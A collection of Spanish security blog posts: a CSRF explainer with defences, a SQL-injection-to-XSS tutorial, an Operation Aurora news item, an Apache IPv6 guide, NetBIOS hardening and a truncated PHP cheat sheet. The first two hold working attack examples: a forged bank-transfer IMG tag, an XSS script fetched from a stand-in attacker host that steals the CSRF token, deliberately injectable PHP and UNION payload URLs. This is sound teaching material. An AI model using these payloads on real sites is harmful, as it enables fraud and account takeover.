Cross-Site Request Forgery (CSRF): Haz lo que quiero sin que lo sepas
En conjunto con el XSS, puedo considerar a éste ataque como mi favorito. Al igual que el XSS, es extremadamente sencillo y casi nunca previsto por los programadores web.
A diferencia del XSS el cual abusa de la confianza que un usuario tiene en una página, el Cross-Site Request Forgery (CSRF o XSRF) aprovecha la confianza que tiene la página en un dado usuario. El CSRF abusa de las sesiones generando acciones en un dado site.

El ataque se aprovecha del hecho que, una vez que un usuario se autentica en un site, todo parámetro que envíe al site se interpretará como una acción de ese usuario. Dichos parámetros suelen enviarse a medida que el usuario navega por el site, pero nada prohíbe a una persona generar los parámetros de forma externa (armar una URL con los parámetros) y enviarlos al site.

Para este ataque, el atacante arma una URL con todos los parámetros necesarios para enviar un pedido a un dado site, y busca la forma de que un usuario víctima la acceda. El pedido puede ser, por ejemplo, una transferencia de dinero desde la víctima a una cuenta del atacante, utilizando una página de homebanking. Lo único que el atacante necesita para llevar a cabo dicha acción es que el usuario que accede al link esté autenticado en la página que realiza la transferencia. Dado que las sesiones tardan un cierto tiempo en expirar, si la víctima se había logueado en la página del banco, es probable que aún siga logueada al momento de hacer click en el link.

Como siempre un ejemplo vale más que mil palabras. Supongamos que la página de un banco utiliza los parámetros amount y receiver para realizar una transferencia, siendo amount la cantidad de dinero a transferir y receiver la persona que recibe el dinero. Por ejemplo, una transferencia de 1000 dolares a la cuenta demasiadovivo se podría hacer a través de la siguiente URL: http://banco.com?amount=1000&receiver=demasiadovivo. Obviamente la transferencia tendrá éxito si el usuario que accede al citado link está logueado en la página banco.com.
Ahora supongamos que un atacante arma la URL y la envía por e-mail a varias víctimas, pero en lugar de exponerla, la oculta en un tag de imagen de la siguiente forma <IMG SRC="http://banco.com?amount=1000&receiver=demasiadovivo" />. Si un usuario abre el e-mail, el cliente de mail intentará cargar la imagen, para lo cual ingresará al link. Si la pobre víctima se encontraba logueada en la página banco.com al momento de abrir el mail, ésta habrá donado sin darse cuenta 1000 dolares a demasiadovivo!!! ohh si, me podría hacer rico fácilmente =P

Lo más lindo del ataque es que la víctima ni se entera que fue víctima (se dará cuenta cuando revise su estado de cuenta jeje). El ataque no se limita a cuentas de bancos, se podría utilizar el mismo formato para enviar e-mails a través de web-mails, o crear cuentas de usuario en distintas páginas para que el atacante pueda acceder. Hay un abanico gigante de posibilidades, lo único que necesita el atacante es conocer los parámetros correctos de la página afectada y conseguir que usuarios de la página accedan a links armados por él.

El medio de ataque no se limita a los e-mails. Cuando vimos XSS vimos que hay varias formas de hacer que un usuario ingrese a un link sin darse cuenta. A través de XSS podríamos hacer que páginas en las que el usuario confía incluyan redirecciones al link malicioso. Por ejemplo, supongamos que el atacante utiliza XSS en una página confiable para ingresar el script <SCRIPT>document.location="http://banco.com?amount=1000&receiver=demasiadovivo";</SCRIPT>, el resultado sería el mismo que utilizar una imagen. También está la posibilidad de incrustar links en propagandas en distintas páginas. Como digo, hay muchas formas que el usuario ingrese al link malicioso.
Cabe aclarar que hablo de link malicioso, pero en realidad no hay nada de malicioso en el link. El link es totalmente legal y parte de la funcionalidad de la página afectada, no estamos haciendo nada raro sobre la página, solamente aprovechamos que el usuario ya está logueado para realizar acciones sin que se de cuenta ni lo desee.

Adicionalmente, vale decir que el ataque no se limita a una URL armada por el atacante. Al igual que mostré con XSS, es posible utilizar parámetros del método POST si es necesario, armando una página intermedia que suministre dichos parámetros. Si no recuerdan como funciona un ataque por POST, relean mi anterior artículo XSS avanzado.


Prevención

Ahora, estarán pensando, esto es una locura! no estoy seguro en ningún lugar! sin darme cuenta puedo estar regalando dinero, o creando cuentas de usuario en los sites que administro, o mandando mails a mis jefes sin saberlo! OMG! OMG!!!
Bueno, tranquilícense un poco, por supuesto que hay formas de prevenir estos ataques, pero dependerá mucho de los conocimientos del programador del site.
Hay diferentes formas de prevenir el XSRF, algunas más útiles que otras y algunas más molestas que otras.

La primer solución que puede venir a la mente es evitar el uso de sesiones para toda tarea peligrosa y hacer que el usuario se autentique cada vez que necesite realizarlas. De esta forma, antes de que el usuario de la página del banco realice la transferencia, éste deberá autenticarse y así nos evitamos el problema. Esto es bastante feo, a nadie le gusta tener que ingresar las credenciales cada vez que vamos a realizar alguna acción... tiene que haber algo mejor!

Otra opción es utilizar CAPTCHAs. Agregar un CAPTCHA para realizar una acción permite validar que es un humano el que realiza la acción y no es algo automatizado. De esta forma volvemos a evitar el problema de la ejecución automática de, por ejemplo, una transferencia bancaria. El uso excesivo de CAPTCHAs puede ser tanto o más molesto que tener que ingresar las credenciales a cada rato, así que sigamos avanzando...

Una opción más interesante es chequear el HTTP Referer. HTTP Referer es incluído en cada solicitud del browser y contiene la URL de la página que derivó el pedido. Osea, si desde la página de google.com clickeamos un link que va a itfreekzone.blogspot.com, el HTTP Referer contendrá google.com como valor. Checkeando el HTTP Referer podemos forzar que el pedido venga desde ciertas páginas. Por ejemplo, en el caso de la transferencia, podríamos validar que el referer sea http://banco.com?action=transferencia, y así evitar pedidos que vengan de cualquier otro site. El problema con el referer es que muchos browsers o proxies no lo incluyen por cuestiones de privacidad (no está bueno decirle a las páginas desde qué lugares llegamos a ellas). Además el referer no sirve en caso de utilizar redirecciones y no nos salva si banco.com?action=transferencia tiene una vulnerabilidad XSS...

La solución más utilizada (y me parece la más correcta), es el uso de tokens random. Cada vez que un usuario se loguea en el site, éste genera un token random, similar a un id de sesión, y arma todos los links del site utilizando dicho token como parámetro (también se puede utilizar con un input del tipo hidden en un formulario). Si el usuario desea realizar una acción, éste deberá utilizar las URLs que contienen el token generado por el server, dado que éste último verificará que el token sea correcto antes de realizar la acción. Como el token es random en cada sesión, un atacante no podría conocerlo con anticipación, y por lo tanto, no podría armar la URL que explote CSRF. Para el ejemplo de la página que realiza la transferencia bancaria, el URL podría tener ahora el siguiente formato: http://banco.com?token=1231243sdf53dfgjjnsdf5nk&amount=1000&receiver=demasiadovivo
Esta es la solución utilizada por los sites más importantes como gmail, hotmail, frameworks como phpBB y cualquier otro site que se precie de tener seguridad. Desgraciadamente esta solución tampoco es mágica! se imaginan por qué? si señores, XSS! Si la página que tiene un mecanismo de tokens para prevenir el CSRF tiene una vulnerabilidad XSS, está jodida. A través de XSS podremos conocer el bendito token y armar nuestros links maliciosos conteniéndolo...

Una solución más completa es utilizar tokens en conjunto con sesiones que expiren a corto plazo, como por ejemplo, 15 minutos. Si bien todavía estamos dando un margen para el ataque, éste es un poco más reducido...


Evadiendo control CSRF usando XSS

Veamos un ejemplo concreto de cómo evadir la protección CSRF más utilizada, es decir, el uso de tokens.
Supongamos nuevamente que tenemos la página de nuestro banco que ahora agrega el token en cada URL para evitar la creación previa de URLs por atacantes. Pero también supongamos que banco.com tiene una vulnerabilidad XSS.

Dado que banco.com padece de XSS, podríamos insertar el siguiente código HTML en él: <SCRIPT SRC="http://malomalo.com/script.js></SCRIPT>, donde http://malomalo.com/script.js contiene el siguiente código:

var query = window.location.search.substring(1);
if(query != null)
{
var pairs = query.split("&");
var varname;
for(var i=0; i<pairs.length; i++) //recorremos los parametros de la URL actual
{
varname = pairs[i].split("=")[0];
if(varname == "token") //encontramos la variable que contiene el token...
document.location.href = "http://banco.com?"+pairs[i]+"&amount=1000&receiver=demasiadovivo"; //armamos la URL y redirigimos
}
}


El código anterior toma la URL actual (que contiene el token) y la descompone para obtener el valor del token. Una vez que obtiene el valor del token, arma la URL que transfiere el dinero de la cuenta de la víctima a demasiadovivo y redirecciona la página actual hacia la URL recién armada. El resultado? donamos 1000 dolares a demasiadovivo aún cuando teníamos defensas contra CSRF!
Lo único que debe hacer el atacante ahora es lograr que el usuario abra la página del banco afectada por XSS, como por ejemplo, logrando que se dirija al link http://banco.com?query=<SCRIPT SRC="http://malomalo.com/script.js></SCRIPT> donde la variable query se imprime dentro del HTML de la página banco.com.


Pensamiento final

El CSRF o XSRF es otro ataque fácil de realizar y con muchas posibilidades de éxito debido a su habilidad de pasar desapercibido, oculto a los ojos de la víctima. Sin dudas es extremadamente peligroso y debe hacerse algo para evitarlo. El usuario final no puede hacer mucho, más que desconfiar de los mails, de las páginas, de todo, usar plug-ins como NoScript y browsers que ayuden a visualizar ataques.
Es el programador del site es el mayor responsable de eliminar la posibilidad del ataque, utilizando alguna de las técnicas citadas. Además deberá tener muchísimo cuidado con el XSS!

El ejemplo final es otra clara demostración de lo peligroso que es el XSS! Creo que eso ha quedado más que claro a lo largo de los distintos artículos que he ido publicando en estos meses.


Referencias

- Cross-site request forgery (wiki)
- XSS Attacks - Cross Site Scripting Exploits and Defence (Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anto Rager, Seth Fogie)
- Using XSS to bypass CSRF protection (Nytro - Romanian Security Team)
Reflected XSS a través de SQL Injection
Hoy me tocó analizar una nueva página, y como siempre, con cada revisión uno aprende a rebuscarselas para lograr lo que desea probar.
En esta oportunidad la página que me tocó analizar contaba con serias vulnerabilidades de SQL Injection, pero yo buscaba realizar algún XSS para no sentirme tan vacío =P Si bien no encontré variable donde inyectar HTML directamente, sí detecté que era posible hacer que MySQL me retorne el string que yo deseaba, es decir, un <script>alert('XSS');</script>

Hacer que MySQL retorne un string armado a mano es tan simple como hacer un SELECT '<script>alert(String.fromCharCode(88, 83, 83));</script>'. El problema es encontrar una sección de la página que tome el resultado de ese SELECT y lo inserte dentro de la misma.

Un caso bastante clásico de éste problema es en las páginas que obtienen el contenido de una sección a través de una consulta SQL. Si podemos hacer que dicho pedido incluya nuestro pedido, estaríamos logrando lo que deseamos.
Para ejemplificar la falla, supongan que tenemos el siguiente código:

<?php
$db = mysql_connect('localhost', 'usuario', 'password');
mysql_select_db('test', $db);

if(isset($_GET['id']))
{
$query = "SELECT title, content FROM content WHERE id=".$_GET['id'];

if(($result = mysql_query($query, $db)) !== FALSE)
{
$row = mysql_fetch_row($result);
$title = $row[0];
$content = $row[1];
}
}

?>
<A HREF="http://localhost/pagina.php?id=1">Home</A><A HREF="http://localhost/pagina.php?id=2">Productos</A><A HREF="http://localhost/pagina.php?id=3">Partners</A><A HREF="http://localhost/pagina.php?id=4">Links</A>

<BR><BR>

Section: <?php print $title; ?><BR>
<?php print $content; ?>
A través del código anterior tenemos un menú armado que cuenta con las secciones Home, Productos, Partners y Links. Lo que hace la parte PHP es, a través de la variable id, obtener el título y el contenido de la sección e incluirlos en la página. Todas las secciones están almacenadas en una tabla que he llamado content.

Este código es altamente susceptible a SQL Injection, ya que nada prohíbe al usuario cambiar el contenido de la variable id y realizar cosas realmente peligrosas.
En el funcionamiento normal, la consulta que trae los datos del contenido luciría así:
SELECT title, content FROM content WHERE id=1
si es que utilizamos la URL http://localhost/pagina.php?id=1

Pero si por ejemplo un atacante ejecuta la URL http://localhost/pagina.php?id=1%20and%201=0 la consulta será:
SELECT title, content FROM content WHERE id=1 and 1=0
dando como resultado que no se obtenga sección alguna.

Una vez probado que podemos inyectar SQL, necesitamos buscar la forma de insertar nuestra consulta XSS. Para ello haremos uso de la función SQL UNION. UNION nos permite unir los resultados de una consulta con los resultados de otra consulta, siempre y cuando ambas consultas tengan como resultado la misma cantidad de columnas.
Por ejemplo, supongamos que tenemos la tabla usuarios y la tabla contenido. Podríamos hacer una consulta como esta:
SELECT nombre, apellido FROM usuarios WHERE usuario_id=1 UNION SELECT titulo, contenido FROM contenido WHERE contenido_id=2
Si existe el usuario con ese id y el contenido con ese id, el resultado serán dos filas, una con los datos del usuario y la otra con los datos del contenido.

Ahora relacionemos esto con lo que queremos hacer. Para el ataque queremos utilizar la consulta SELECT '<script>alert(String.fromCharCode(88, 83, 83));</script>', pero no podemos evitar la consulta original, así que haremos un UNION. Dado que la consulta que se encuentra en la página devuelve un valor si ingresamos un id válido, deberemos ingresar un id con un valor que no exista en la base de datos, como por ejemplo 1000. A esto le unimos nuestro SELECT que siempre retorna un valor, y obtendremos una consulta donde lo obtenido es nuestro script.

Si prestaron atención a lo que iba diciendo, necesitamos que nuestra consulta devuelva la misma cantidad de columnas que la original, así que debemos averiguar cuántas columnas tiene la consulta original. Para esto podemos hacer dos cosas: probar consultas arbitrarias con UNION hasta que nos da un resultado válido, o utilizar la función ORDER BY. ORDER BY nos permite organizar los resultados por columna, así que si le especificamos un valor de columna mayor al posible, obtendremos un error. Por ello, podemos ir reduciendo el valor de ORDER BY hasta que tengamos una consulta válida, o bien incrementar desde 1 hasta que tengamos una inválida.
Para nuestro ejemplo, si probamos la consulta "SELECT title, content FROM content WHERE id=1 ORDER BY 1", funcionará, al igual que lo hará con "SELECT title, content FROM content WHERE id=1 ORDER BY 2", pero si utilizamos "SELECT title, content FROM content WHERE id=1 ORDER BY 3", no obtendremos resultado. La URL de esta consulta sería http://localhost/pagina.php?id=1%20order%20by%203

Con esto ya sabemos que la consulta tiene 2 columnas, así que ahora armamos nuestra nueva consulta de acorde a esto. La consulta debería quedar algo así:
SELECT title, content FROM content WHERE id=1000 UNION SELECT '<script>alert(String.fromCharCode(88, 83, 83));</script>', 'lala'
para lo cual utilizamos la URL http://localhost/pagina.php?id=1000%20union%20select%20%27%3Cscript%3Ealert(String.fromCharCode(120,%20115,%20115));%3C/script%3E%27,%20%27lala%27

Como nuestra tabla no tiene una entrada con el id 1000, el resultado será una fila con las columnas '<script>alert(String.fromCharCode(88, 83, 83));</script>' y 'lala', las cuales se asignarán a las variables $title y $content, y subsiguientemente se imprimirán en la página, generando efectivamente un XSS.


Como verán, existen muchas formas de realizar XSS, esta es una más para añadir a las que ya nombré en mis anteriores artículos: Cruzando información, Cross-Site Scripting (XSS), Rompiendo a lo grande: XSS avanzado y Combatiendo el Cross Site Scripting.


EDIT (30/01): Zerial publicó en su blog otra forma de utilizar SQL Injection para realizar ataques XSS, les recomiendo su lectura: Explotar XSS mediante SQL Injection.
news: atacan Google, Adobe y otras grandes empresas gracias a IE6!
Hace rato que no publico noticias (en gran parte porque hay muchos blogs de noticias), pero hoy tengo una muy interesante.

Durante diciembre le dieron duro a varias grandes empresas como Google o Adobe utilizando un exploit en Internet Explorer 6 que permite remote code execution. Según Google, fueron víctimas de un ataque altamente sofisticado y coordinado, mediante el cual les robaron información y accedieron a cuentas Gmail de activistas por los derechos humanos.
Otras empresas que reportaron ataques fueron Yahoo, Northrop Grumman y Dow Chemical, por nombrar algunas de las 34 que se vieron afectadas.
Al parecer los hackers utilizan el exploit para instalar el troyano Hydraq el cual les permite acceder a la red corporativa.
Los rumores dicen que el gobierno Chino está detrás del ataque, debido a que el código del exploit es tan sofisticado que sólo pudo haber sido descubierto con el respaldo de un organismo muy interesado en los resultados. Gracias a esto, Google, como contraataque, dejó de censurar los resultados de su buscador para los navegantes chinos.

Estos ataques recibieron el nombre "Operación Aurora", nombre con el cual pueden encontrar muchos posts en internet, además del código para utilizarlo >=)
En exploit database pueden descargar un ejemplo del código en python listo para ser testeado. Este aprovecha la vulnerabilidad y nos abre la calculadora de Windows. Yo lo probé y funciona perfecto, el antivirus ni se entera.
Metasploit también agregó el exploit a su base de datos, así que si actualizan el framework, lo tendrán a su disposición. En el blog de metasploit pueden encontrar información sobre cómo utilizarlo.

Y de qué va la vulnerabilidad? Bueno, al parecer es posible acceder a un puntero inválido después de que se borra un objeto. Armando un ataque especial, intentando acceder al objeto liberado, es posible causar remote code execution.

El problema resultó tan serio que el gobierno alemán salió a pedir a sus usuarios que dejen de utilizar IE hasta que los de MS parchen el agujero.
Por su parte, MS pide a sus usuarios que actualicen a IE8, aunque admiten que tanto IE7 como 8 también son vulnerables al problema.

Igualmente MS sigue con su política "parcho cuando YO quiero" y el parche para este problema está planeado para el 9 de febrero!!! Realmente es de no creer!

Mi recomendación? ya se deben imaginar... no usen IE!, ni Windows! Pero bueno, si no les queda otra que usar Windows, al menos prueben Firefox u Opera.

Algunas referencias para leer son:
- Attack code used to hack Google now public
- Hack of Google, Adobe Conducted Through Zero-Day IE Flaw
- Microsoft Says Upgrade To IE8, Even Though It's Vulnerable
Apache web server sobre IPv6
Para esta entrega decidí traerles un muy buen artículo realizado por Emiliano Marini, el cual, por suerte, me dio permiso para publicarlo en el blog. Emiliano es bastante fanático del IPv6 y espera que en algún futuro no muy lejano se comience a utilizar masivamente, así que dedica algunas de sus horas libres a investigar cómo funcionan ciertas cosas con este protocolo.
En este caso armó un artículo sobre cómo utilizar Apache sobre IPv6 luego de pelearse un rato haciendo pruebas. Realmente es muy interesante.

Emiliano es Ingeniero en Sistemas, además trabaja como administrador de seguridad y al igual que yo promueve el uso de herramientas libres.

Este es el primer artículo que publico que no fue realizado por mi, y espero poder traerles más en el futuro, dado que tengo varios amigos haciendo trabajos muy interesantes y que me gustaría poder compartir acá.

Sin más introducción, los dejo con el artículo.


Prólogo

Esta es la primer entrega (espero que sea la primera de muchas) de una serie de artículos de investigación sobre IPv6. Actualmente, IPv6 es el tema que me resulta más interesante para investigar, siempre con la ayuda de VirtualBox. Para el final de Redes y Teleprocesamiento investigué (junto con Sebastián Silva) los protocolos de bajo nivel: configuración estática de direcciones IPv6; Neighbor Discovery; Autoconfiguración de direcciones IPv6 de ámbito global tanto en routers (i.e. PC's funcionando como routers, se instala el demonio radvd) como en clientes (trivial); RIPng con zebra; y DNS utilizando bind9.
Por lo tanto ahora voy a investigar los protocolos de alto nivel, empezando por lo básico: HTTP sobre IPv6 y cómo levantar un servidor web Apache que funcione sobre IPv6 ("quiere dejar de decir IPv6" diría Marge Simpson).
Debido a que las tecnologías libres incentivan y motivan la investigación y el desarrollo, voy a trabajar con sistemas operativos y software libre, por lo tanto dejando de lado los productos del amigo "Puertas".


Introducción

Para los experimentos cuento con un servidor Apache 2.0 ejecutándose en un host Ubuntu 8.04 con kernel 2.6.28. Este artículo va dirigido a un público avanzado, por lo tanto voy a saltear los pasos de instalación de SO y web server. Además cuento con un host XUbuntu 9.04 que va a funcionar como cliente utilizando Mozilla Firefox 3.0.11. Ambos hosts se encuentran en la misma red local cuya dirección es 2001:db8:0:2000::/64. El servidor Ubuntu tiene asignada la dirección IPv6 2001:db8:0:2000::1.
Como información adicional, cabe destacar que el mismo host Ubuntu funciona además como router (es quien le otorga el prefijo de red global "2001:db8:0:2000::/64" al host XUbuntu) y como servidor DNS ejecutando bind9 (escuchando pedidos en la dirección 2001:db8:0:3000::1).


Desarrollo

Contando con el servidor Apache instalado, el primer paso es indicarle que escuche pedidos HTTP en un socket IPv6. Para esto se utiliza la directiva "Listen". Se edita el archivo de configuración de Apache:
$ sudo nano /etc/apache2/apache2.conf
y se agrega:
Listen [2001:db8:0:2000::1]:8008
Se observa que la dirección debe ir entre corchetes "[" para separar el puerto, debido a que IPv6 utiliza dos puntos ":" en lugar de punto "." en las direcciones IP. En este caso se eligió el puerto 8008.

Luego debe reiniciarse el servidor Apache para que utilice la nueva configuración:
$ sudo /etc/init.d/apache2 restart
El demonio inicia correctamente y se puede comprobar que está escuchando el el puerto 8008 utilizando nmap. Para esto se utiliza la opción "-6" que indica que se trata de un escaneo IPv6:
$ sudo nmap -sV -6 2001:db8:0:2000::1

Starting Nmap 4.76 ( http://nmap.org ) at 2010-01-06 19:47 ARST

Interesting ports on 2001:db8:0:2000::1:
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
53/tcp open domain ISC BIND 9.5.1-P2
139/tcp open netbios-ssn Samba smbd 3.X (workgroup: GRUPO_TRABAJO)
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: GRUPO_TRABAJO)
8008/tcp open http Apache httpd

Host script results:
| Discover OS Version over NetBIOS and SMB: Unix
|_ Discover system time over SMB: 2010-01-06 19:47:15 UTC-2

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.16 seconds
Se puede comprobar más rápida y fácilmente utilizando netstat, pero aprovecho para probar herramientas de pentest sobre IPv6:
$ sudo netstat -tulpn | grep 8008
tcp6 0 0 2001:db8:0:2000::1:8008 :::* LISTEN 5310/apache2
Luego se puede probar la conexión a través de IPv6 utilizando "netcat6". Para instalar netcat6 en K/X/Ubuntu:
$ sudo aptitude install netcat6
Luego se conecta con el servidor Apache:
$ ping6 2001:db8:0:2000::1 -c 3
PING 2001:db8:0:2000::1(2001:db8:0:2000::1) 56 data bytes
64 bytes from 2001:db8:0:2000::1: icmp_seq=1 ttl=64 time=2.99 ms
64 bytes from 2001:db8:0:2000::1: icmp_seq=2 ttl=64 time=1.06 ms
64 bytes from 2001:db8:0:2000::1: icmp_seq=3 ttl=64 time=0.813 ms

--- 2001:db8:0:2000::1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 0.813/1.622/2.993/0.974 ms

$ nc6 2001:db8:0:2000::1 8008
OPTIONS / HTTP/1.0

HTTP/1.1 200 OK
Date: Wed, 06 Jan 2010 22:08:15 GMT
Server: Apache
Allow: GET,HEAD,POST,OPTIONS
Vary: Accept-Encoding
Content-Length: 0
Connection: close
Content-Type: text/html
Genial! Ya tenemos el servidor Apache trabajando sobre IPv6. Pero esto no es todo...

Si se están utilizando iptables, se deben reconfigurar para permitir el acceso al servidor web via IPv6. Debería agregarse una línea similar a la siguiente:
-A INPUT -m tcp -p tcp --dport 80 -j ACCEPT
De lo contrario no se podrá conectar al servidor, para más información sobre ip6tables véase [3].

Además, Apache utiliza hosts virtuales (VirtualHost) para mantener múltiples nombres de host en el servidor. Entonces, antes de poder acceder a documentos en el servidor se debe configurar el VirtualHost adecuadamente. Aquí existen dos posibilidades, modificar un VirtualHost IPv4 existente, o agregar uno nuevo si se desea trabajar con dual stack.
Los hosts virtuales se configuran en el archivo /etc/apache2/sites-enabled/000-default:
$ sudo gedit /etc/apache2/sites-enabled/000-default
Se agrega un nuevo VirtualHost:
<VirtualHost [2001:db8:0:2000::1]>

# Configuración

</VirtualHost>
La configuración del host virtual es exactamente igual que para IPv4, la única diferencia se observa en la dirección IPv6 en el tag <VirtualHost>. Es conveniente utilizar logs separados para IPv4 e IPv6 agregando las siguientes líneas en la configuración del VirtualHost:
ErrorLog "/var/log/apache2/ipv6.error.log"
CustomLog "/var/log/apache2/ipv6.access.log" common
Finalizada la configuración del VirtualHost es posible acceder al servidor desde el cliente utilizando Firefox, como se observa en las siguientes capturas:




Ahora falta que funcione utilizando DNS. Como había mencionado anteriormente, el mismo host Ubuntu funciona como servidor DNS utilizando bind9, a continuación se muestra el contenido de la zona "proyecto.com":
File: /etc/bind/zones/proyecto.com.db

@ IN SOA ubuntu.proyecto.com. postmaster.proyecto.com. (
2001012501
3H ; refresh
15M ; retry
1w ; expiry
1D) ; minimum

IN NS ns.proyecto.com

;
;
ns IN AAAA 2001:db8:0:3000::1
freebsd IN AAAA 2001:db8:0:3000::2
ubuntu IN AAAA 2001:db8:0:2000::1
winxp IN AAAA 2001:db8:0:1000:a00:27ff:fed8:ae0b
xubuntu IN AAAA 2001:db8:0:2000:a00:27ff:fe20:9983
Se observa que el servidor tiene el nombre de dominio "ubuntu.proyecto.com". Por lo tanto luego de iniciar bind9 es posible acceder desde el cliente utilizando ese nombre como se observa en las siguientes capturas:




Capturando el tráfico con Wireshark se observa la consulta DNS originada por Firefox:



Conclusión

La configuración de Apache sobre IPv6 resultó tan simple como para IPv4.


Referencias

[1] Ruteo IPv6 Utilizando PCs. Marini, E., Silva, S. 2009
[2] Apache IPv6 Configuration: Dual Stacked IPv4 & IPv6 Virtual Hosts
[3] ip6tables: IPv6 Firewall For Linux
[4] Manual básico de creación de Host virtuales en Apache
[5] Apache HTTP Server Version 2.0 Documentation
Eliminando ruido: Desactivar Broadcast NetBIOS
Si cuentan con una red Windows seguramente detecten que la red está sobrecargada de paquetes inútiles y hasta peligrosos.
Uno de los tantos protocolos que molestan en extremo enviando broadcast a lo tonto es NetBIOS.
NetBIOS es un protocolo que podría considerarse de la edad de piedra, pero que Microsoft ha mantenido por compatibilidad hacia atrás y que seguramente seguiremos viendo por muchos años más. El problema es que, al ser un protocolo tan viejo, es especialmente inseguro y ruidoso.

Para el que no tenga ni medio de idea de lo que estoy hablando, NetBIOS se utiliza para asignar nombres y workgroups a las workstations y proveer una capa de sesión sobre la cual pueden funcionar otros protocolos.
El caso más familiar es el de las carpetas compartidas en Windows. La compartición de directorios utiliza el protocolo (SMB), el cual solía funcionar sobre la capa NetBIOS, y aunque las versiones actuales (llamada CIFS) pueden funcionar directamente sobre TCP/IP (en el port 445), Windows sigue utilizando la resolución de nombres de NetBIOS (llamada WINS) para encontrar máquinas en la red.
Todo el protocolo es un quilombo monumental y no podría explicarlo en pocas líneas, así que si les interesa, les recomiendo leer el excelente artículo CIFS Explained.

A lo que quiero llegar, es que, en una red Windows todas las máquinas tienen un nombre NetBIOS y utilizan el servicio WINS para encontrar a otras máquinas en la red. El funcionamiento de WINS pueden pensarlo como el de un server DNS. Cuando una máquina desea enviar paquetes a otra, consulta por su nombre NetBIOS, si lo encuentra, envía los paquetes.
La resolución NetBIOS se puede realizar de diferentes formas, dependiendo de la configuración de la máquina. Las formas de resolución se llaman tipos de nodos. Existen 5 tipos de nodo:
- B-node (broadcast) - la máquina envía la consulta en forma de broadcast, es decir, a todas las máquinas de la red.
- P-node (peer-peer) - la máquina envía la consulta al servidor WINS configurado previamente. Si no existe servidor WINS o si no puede contactarlo, o el servidor no conoce el nombre que buscamos, la consulta termina.
- M-node (mixed) - es una combinación de los nodos B y P, donde primero se consulta en forma de broadcast y si no se obtiene respuesta satisfactoria, se consulta al servidor WINS.
- H-node (hybrid) - funciona al revés que M. En este caso primero se envía la consulta al servidor WINS, si este no puede resolver, entonces se consulta en forma de broadcast.
- Microsoft enhanced B-node - actúa como el modo B, pero si se puede resolver el nombre, entonces se consulta a un archivo llamado Lmhosts, el cual es configurado a mano por el administrador.

Como pueden observar, tenemos combinaciones de sobra para la resolución. En una red controlada por Active Directory la resolución se lleva a cabo por DNS, y si esta falla, se realiza una resolución NetBIOS utilizando un servidor WINS.
El problema es que los servidores y workstation vienen configurados por defecto para utilizar el tipo de nodo H, es decir, se consulta primero por WINS y si falla se hace broadcast. Ahora, si en nuestra red, nuestro servidor WINS no conoce un dado nombre, entonces ninguna máquina debería conocerlo! Este sistema se presta para diversos ataques de mitm haciendo spoofing de nombres NetBIOS como el que se muestra en el blog skullsecurity. Además, éste sistema provoca que circulen por la red paquetes inútiles, dado que nadie responderá (no debería...).
Lo que motivó la creación de este post es el comportamiento particular de Exchange (servidor de mails de MS), el cual intenta resolver las direcciones de mail utilizando éste sistema DNS-WINS-Broadcast, por lo que nombres desconocidos acarrean broadcasts continuos. Claro que el intento por resolver nombres arbitrarios es un indicador de algún malware en la red... pero vamos por partes =)

Entonces, qué hacemos con este sistema anticuado?
Tenemos dos opciones. Por un lado MS está tratando de eliminar el uso de NetBIOS y pasar a CIFS sobre TCP/IP con resolución DNS. Para esto, simplemente debemos desactivar NetBIOS. El problema es que muchas aplicaciones antiguas necesitan de éste protocolo, así que esta opción es poco adecuada en muchos casos.
Deshabilitar el uso de NetBIOS es tan simple como:
1- Ir a "Control Panel" -> "Network Connections" -> elegir la conexión y dar Click derecho y elegir properties.
2- Seleccionar Internet Protocol (TCP/IP).
3- Clickear en Advanced.
4- Seleccionar el tab WINS Address.
5- Seleccionar Disable NetBIOS over TCP/IP.

Si no podemos eliminar el uso de NetBIOS por alguna justificada razón, algo que sí podemos hacer es eliminar el uso de Broadcast en caso que el servidor WINS no pueda resolver.
Para eliminar el broadcast tendremos que setear el tipo de nodo NetBIOS como P (peer-peer). El tipo de nodo que tenemos seteado actualmente se puede ver ejecutando ipconfig /all y viendo la línea Node Type.
Procediendo con el cambio de tipo de nodo, debemos elegir una de dos opciones:
- Cambiar la opción de tipo de nodo en el servidor DHCP, donde utilizaremos la opción 46 y cambiaremos el valor a 2 (P-node). Los otros valores posibles son (1 Microsoft-enhanced B-node), 4 (M-node) y 8 (H-node).
- Cambiar el valor HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netbt\Parameters\NodeType del registro y colocar 2 (P-node).


Referencias

- Chapter 11 - NetBIOS over TCP/IP
- TCP/IP in Windows 2000 Professional
- NetBIOS Name Resolution Overview
shortcuts: programación PHP
Nunca les pasó que se mezclan los lenguajes de programación y a veces no recuerdan como usar una estructura, o como crear un objeto, o cuáles variables o funciones usar para acceder a ciertos datos? bueno a mi si, y siempre quise tener una referencia rápida con todos estos datos.
Es por eso que se me ocurrió crear un nuevo shortcut, uno donde cuente con la sintaxis básica de los lenguajes que utilizo. La idea comenzó porque me veo forzado a aprender un poco de ASP y ASP.Net, y tener acceso rápido a la sintaxis me ahorraría mucho tiempo de navegación.
Toda la información que posteo la pueden encontrar en cualquier tutorial del correspondiente lenguaje, pero siempre están separados en varias hojas y con explicaciones de para qué sirve cada estructura.
Mi idea es crear un shortcut con ejemplos, pero sin explicaciones (o con explicaciones muy cortas). Osea, si sabes programar no necesitas que te expliquen para qué sirve cada cosa.

En esta entrega les traigo un shortcut de programación PHP. Justamente PHP es el lenguaje que más utilizo y conozco así que escribí casi todo sin necesidad de buscar. Más adelante espero entregar versiones similares de lenguajes que no conozco tanto, como ASP.Net y JSP... vengo a full con la auditoría de aplicaciones Web y necesito aprender bastante.

En fin, espero que les resulte de utilidad... algo para tener a mano cada vez que van a programar =)

- Tag indicador de código php:
<?php ... codigo ... ?>
- imprimir mensajes:
print "mensaje";
echo "mensaje";
- concatenador de strings: . (punto)

- condiciones:
or: ||
and: &&
not: !
igual: ==
distinto: !=
menor: <
menor igual: <=
mayor: >
mayor igual: >=
- if-then-else
if( condicion )
{
//si es true hacer esto
}
elseif( condicion2 )
{
//hacer esto otro
}
else
{
//hacer esto ultimo
}
- switch:
switch( $variable )
{
case valor1:
//hacer algo
break;

case valor2:
//hacer otra cosa
break;
...
...
default:
